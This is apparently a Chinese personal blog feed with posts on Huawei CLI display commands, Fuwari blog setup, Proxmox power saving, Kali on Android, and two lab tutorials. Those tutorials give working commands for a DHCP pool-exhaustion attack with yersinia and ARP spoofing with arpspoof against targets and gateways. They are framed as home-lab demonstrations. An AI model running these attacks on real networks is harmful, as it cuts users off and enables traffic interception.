A blog about ShiraNekohttps://blog.shiraneko.com/zh_CNhttps://blog.shiraneko.com/posts/%E5%BD%92%E7%BA%B3%E6%80%BB%E7%BB%93dis%E5%91%BD%E4%BB%A4%E7%9A%84%E4%BD%BF%E7%94%A8/https://blog.shiraneko.com/posts/%E5%BD%92%E7%BA%B3%E6%80%BB%E7%BB%93dis%E5%91%BD%E4%BB%A4%E7%9A%84%E4%BD%BF%E7%94%A8/归纳总结华为CLI的display命令的使用Tue, 30 Jun 2026 00:00:00 GMT<h2>概述</h2> <p>在华为网络设备的CLI（命令行界面）中，<code>dis</code> 命令是 <code>display</code> 命令的缩写，是最常用的查看命令之一。它用于显示设备的配置信息、运行状态、接口信息等各种重要数据，是网络工程师进行设备管理和故障排查的得力工具。</p> <h2>常用 dis 命令分类</h2> <h3>1. 设备基本信息查看</h3> <pre><code># 显示设备版本信息 dis version # 显示设备运行状态 dis device # 显示设备当前配置 dis current-configuration # 显示设备保存的配置 dis saved-configuration # 显示设备时钟 dis clock </code></pre> <h3>2. 接口信息查看</h3> <pre><code># 显示所有接口的简要信息 dis ip interface brief # 显示指定接口的详细信息 dis interface GigabitEthernet 0/0/1 # 显示接口的流量统计 dis interface GigabitEthernet 0/0/1 statistics # 显示接口的IP地址配置 dis ip interface GigabitEthernet 0/0/1 </code></pre> <h3>3. 路由信息查看</h3> <pre><code># 显示IP路由表 dis ip routing-table # 显示特定协议的路由 dis ip routing-table protocol ospf # 显示路由表的统计信息 dis ip routing-table statistics </code></pre> <h3>4. 交换机相关命令</h3> <pre><code># 显示MAC地址表 dis mac-address # 显示VLAN信息 dis vlan # 显示生成树信息 dis stp # 显示链路聚合信息 dis eth-trunk </code></pre> <h3>5. 网络服务信息查看</h3> <pre><code># 显示ARP表 dis arp # 显示DHCP相关信息 dis dhcp server lease # 显示NAT转换表 dis nat session # 显示ACL信息 dis acl all </code></pre> <h2>使用技巧</h2> <h3>1. 命令补全</h3> <p>按 <code>Tab</code> 键可以自动补全命令，减少输入错误。</p> <pre><code>dis cu # 等同于 dis current-configuration dis ip int br # 等同于 dis ip interface brief </code></pre> <h3>2. 管道过滤</h3> <p>使用 <code>|</code> 符号配合过滤命令，快速查找所需信息。</p> <pre><code># 只显示包含"GigabitEthernet"的行 dis interface | include GigabitEthernet # 排除某些信息 dis current-configuration | exclude unused # 分屏显示 dis current-configuration | more </code></pre> <h3>3. 历史命令</h3> <p>使用 <code>Ctrl+P</code> 或 <code>↑</code> 键查看历史命令，提高效率。</p> <h2>注意事项</h2> <ul> <li><code>dis</code> 命令是只读命令，不会对设备配置产生影响</li> <li>在使用 <code>display current-configuration</code> 查看配置时，某些敏感信息可能会被加密显示</li> <li>对于大型配置，建议使用管道命令进行过滤查看</li> </ul> <h2>总结</h2> <p>熟练掌握 <code>dis</code> 命令的使用，是华为网络设备运维的基础。通过合理运用各种 <code>display</code> 命令及其过滤功能，可以快速定位问题、了解设备状态，为网络管理和故障排查提供有力支持。</p> https://blog.shiraneko.com/posts/fuwari%E6%9C%AC%E5%9C%B0%E9%83%A8%E7%BD%B2%E6%95%99%E7%A8%8B/https://blog.shiraneko.com/posts/fuwari%E6%9C%AC%E5%9C%B0%E9%83%A8%E7%BD%B2%E6%95%99%E7%A8%8B/Fuwari本地端部署教程，以及一些简单的使用教程Wed, 24 Jun 2026 00:00:00 GMT<h1>在本地部署Fuwari</h1> <h2>需要以下准备</h2> <ol> <li><strong>一点折腾能力</strong>，不会可以问ai</li> <li><strong>Node.js:</strong> Fuwari需要Node.js16及以上版本</li> <li><strong>git:</strong> Fuwari需要git来克隆仓库</li> <li>一点<strong>Markdown</strong>基础语法</li> </ol> <h2>部署步骤</h2> <ol> <li>将仓库克隆到本地: <code>git clone &lt;仓库URL&gt;</code></li> <li>全局安装pnpm: <code>npm install -g pnpm</code></li> <li>安装依赖: <code>pnpm install</code></li> <li>Fuwari部署完成</li> </ol> <h2>更改Fuwari基础信息，清理多余文件</h2> <ol> <li>在根目录找到config.json文件，编辑其中的配置项</li> </ol> <ul> <li>'title': 博客的主标题</li> <li>'subtitle': 副标题</li> <li>'name': 作者姓名</li> <li>'avatar': 作者头像</li> <li>'bio': 个性签名（显示在头像下）</li> <li>'lang': 博客的语言，例如zh_CN</li> <li>'themeColor': 主题颜色</li> <li>'banner': 网站的banner背景图片</li> <li>'favicon': 网站的favicon图标</li> <li>'link': 友情链接</li> <li>'description': 网站的描述</li> </ul> <ol> <li> <p>清理多余文件。根目录下src/content/posts有示例文章，可以根据需要删除。</p> </li> <li> <p>完成设置</p> </li> </ol> <h2>让我们开始写作！</h2> <h3>推荐使用<em>黑曜石Obsidian</em>编辑器</h3> <ul> <li><a href="https://black-obsidian.com/">Black Obsidian</a> 是一个基于 Obsidian 的 Markdown 编辑器，它提供了丰富的功能和自定义选项，适合写博客和文档。</li> </ul> <ol> <li>在项目根目录执行 <code>pnpm new-post &lt;文章标题&gt;</code>创建文章</li> <li>编辑文章文件，修改基础元数据，添加文章内容</li> </ol> <pre><code>--- title: &lt;文章标题&gt; published: &lt;日期&gt; description: &lt;文章描述&gt; image: "" tags: [] category: "" draft: false lang: "zh_CN" --- </code></pre> <ol> <li>修改根目录下的astro.config.js文件，把其中的site修改为你的博客域名</li> <li></li> </ol> https://blog.shiraneko.com/posts/pve%E9%99%8D%E4%BD%8E%E7%A9%BA%E8%BD%BD%E5%8A%9F%E8%80%97/https://blog.shiraneko.com/posts/pve%E9%99%8D%E4%BD%8E%E7%A9%BA%E8%BD%BD%E5%8A%9F%E8%80%97/Pve主机和Linux降低空载功耗（开启省电模式）Sun, 27 Apr 2025 03:26:00 GMT<h1>PVE降低空载功耗&amp;开启linux省电模式</h1> <p>PVE(Proxmox Virtual Environment)是一个开源的虚拟化平台，它允许用户在服务器上创建虚拟机，并使用Linux操作系统来运行各种应用程序。</p> <h2>安装cpufrequtils</h2> <pre><code>apt install cpufrequtils cpufreq-info # 显示CPU频率信息 acpi-cpufreq驱动: performance 性能模式，将 CPU 频率固定工作在其支持的较高运行频率上，而不动态调节。 userspace 系统将变频策略的决策权交给了用户态应用程序，较为灵活。 powersave 省电模式，CPU 会固定工作在其支持的最低运行频率上。 ondemand 按需快速动态调整 CPU 频率，没有负载的时候就运行在低频，有负载就高频运行。 conservative 与 ondemand 不同，平滑地调整 CPU 频率，频率的升降是渐变式的，稍微缓和一点。 schedutil 负载变化回调机制，后面新引入的机制，通过触发 schedutil sugov_update 进行调频动作。 intel_pstate驱动: performance 最大化 CPU 性能 powersave 优化能效 平衡性能与功耗 相比acpi-cpufreq powersave调节器更智能 响应更快 高负载下可能略逊于performance模式 但日常使用差异通常不明显 </code></pre> <h2>设置CPU电源策略</h2> <pre><code>cpupower -c all frequency-set --governor powersave </code></pre> <h2>前后对比：</h2> <p>设置CPU电源策略前：</p> <p>设置CPU电源策略后：</p> https://blog.shiraneko.com/posts/kali%E7%A7%BB%E5%8A%A8%E7%89%88/https://blog.shiraneko.com/posts/kali%E7%A7%BB%E5%8A%A8%E7%89%88/kill移动版的下载与安装Fri, 25 Apr 2025 06:06:00 GMT<h1>适用于Android设备的kali移动版</h1> <ul> <li>设备: 一台已root或可root的Android设备</li> <li>软件: Magisk(面具)模块</li> <li>软件包: kali-linux-mobile-2023.1-r1.zip</li> <li><a href="https://www.kali.org/get-kali/#kali-mobile">获取Kali|卡利Linux</a></li> </ul> <h2>下载ARM64完整zip包</h2> <h2>在magisk模块页点击[从本地安装]选项，选择zip包，点击安装。</h2> <h2>启用kali模块，重启手机</h2> <h2>打开生成在手机桌面的命令行终端软件</h2> <p>（启用kali模块重启后终端自动生成在桌面）</p> https://blog.shiraneko.com/posts/dhcp%E6%AC%BA%E9%AA%97%E6%94%BB%E5%87%BB/https://blog.shiraneko.com/posts/dhcp%E6%AC%BA%E9%AA%97%E6%94%BB%E5%87%BB/DHCP地址池耗尽攻击的讲解以及实施，以及yersinia的编译安装教程Fri, 25 Apr 2025 03:27:00 GMT<h1>DHCP欺骗攻击（耗尽地址池，附带yersinia编译安装解决方案）</h1> <p>*系统: kali *主机: Pve虚拟机 *工具: advanced ip scanner局域网设备ip扫描工具 *Linux软件: yersinia <strong>本文演示攻击环境为内网虚拟机环境，不影响公共网络</strong></p> <p>yersinia是一款底层协议入侵工具，它能伪装多种协议的报文并实施欺骗和攻击。 Yersinia具体可以虚拟的报文如下：</p> <p>Spanning Tree Protocol (STP)</p> <p>Cisco Discovery Protocol (CDP)</p> <p>Dynamic Trunking Protocol (DTP)</p> <p>Dynamic Host Configuration Protocol (DHCP)</p> <p>Hot Standby Router Protocol (HSRP)</p> <p>IEEE 802.1QIEEE 802.1X</p> <p>Inter-Switch Link Protocol (ISL)</p> <p>VLAN Trunking Protocol (VTP)</p> <p>例如：夺取生成树stp的根角色，生成虚拟cdp（cisco 发现协议）邻居。在一个hsrp冗余型网络环境中伪装成一个活动的路由器、制造假dhcp 报文反馈，耗尽dhcp 地址池等等。</p> <h2>安装yersinia工具</h2> <pre><code>sudo apt-get install yersinia </code></pre> <h2>Yersinia常用命令参数</h2> <pre><code>命令行使用方法 yersinia Protocol -interface eth -attack id # 示例： yersinia dhcp -interface eth0 -attack 0 h 帮助屏幕 x 选择并执行攻击 i 选择网卡 ENTER 关于选择项目的信息 v 查看数据包的16进制 d 加载协议默认值 e 编辑数据表字段 f 列出捕获文件 s 从协议保存数据包 S 保存-来自所有协议的数据包 L 从网络学习数据包 N 设置Mac欺骗开/关 l 列出正在运行的攻击 K 杀死所有正在运行的攻击 c 清除当前协议statc C 清除所有协议状态 g 转到其他协议屏幕 ctrl-l 重绘屏幕 w 写入配置文件 a 关于这个工具 q 退出 </code></pre> <h2>启动图形化界面</h2> <pre><code>yersinia -G </code></pre> <h2>使用示例</h2> <p>点击Launch Attack，选着DHCP选项卡，选着sending DISCOVER packet，并勾选Dos选项，点击OK保存 <img src="./img/mk/yersinia1.png" alt="Launch Attack" /></p> <p>点击菜单的Action中的execute attack执行攻击 <img src="./img/mk/yersinia2.png" alt="Actiono" /></p> <h2>无法启动GUI模式（-G）解决方案</h2> <p><img src="./img/mk/yersinia3.png" alt="报错" /></p> <p>先完全卸载yersinia包和依赖</p> <pre><code>apt remove --auto-remove yersinia apt purge --auto-remove yersinia </code></pre> <p>从github克隆编译安装</p> <pre><code>git clone https://github.com/tomac/yersinia /opt/yersinia // 从github克隆到/opt/yersinia apt install autoconf libgtk-3-dev libnet1-dev libgtk2.0-dev libpcap-dev -y // 安装一些编译所需的依赖包(这些包是必须的) // 编译： cd /opt/yersinia ./autogen.sh // 用gtk编译yersinia ./configure --with-gtk // 完成编译 make make install // 打开yersinia GUI yersinia -G </code></pre> <p><img src="./img/mk/yersinia4.png" alt="GUI" /></p> https://blog.shiraneko.com/posts/%E5%8D%95%E5%90%91arp%E6%96%AD%E7%BD%91%E6%94%BB%E5%87%BB/https://blog.shiraneko.com/posts/%E5%8D%95%E5%90%91arp%E6%96%AD%E7%BD%91%E6%94%BB%E5%87%BB/单向ARP攻击的实操及arp攻击命令的介绍Thu, 24 Apr 2025 19:22:00 GMT<h1>环境准备&amp;介绍</h1> <p>*系统：kali-linunx *主机：Pve 虚拟机 *工具：arp-spoof + scan ora advanced ip scanner *linux软件：dsniff *目的：对局域网进行ARP断网攻击，或者进行中间人抓包 <strong>请注意，ARP攻击可能会对网络造成严重干扰，请确保您有合法的权限进行此类操作。</strong></p> <h2>单向ARP介绍</h2> <p>单向ARP欺骗也称为断网攻击，攻击机伪造数据包后本应该传输给靶机的数据错误的传输给攻击机，使靶机得不到服务器的响应数据，甚至根本无法将数据包发送出局域网。</p> <h2>任务实施</h2> <pre><code>apt-get update // 更新源 apt-get install dsniff // 下载arp攻击工具 route -n // 查看网关IP ifconfig eth(0/1/2/3...) // 查看网络接口连接详细信息 arpspoof -i eth0 -t 目标IP -r 网关IP // 在控制台Ctrl-C就能结束攻击 </code></pre> <p>多个目标IP</p> <p>-t</p> <p>指定arp攻击的目标。若是不指定，则目标为该局域网内的全部机器。能够指定多个目标，如</p> <pre><code>arpspoof -i eth0 -t 192.168.32.100 -t 192.168.32.101 </code></pre>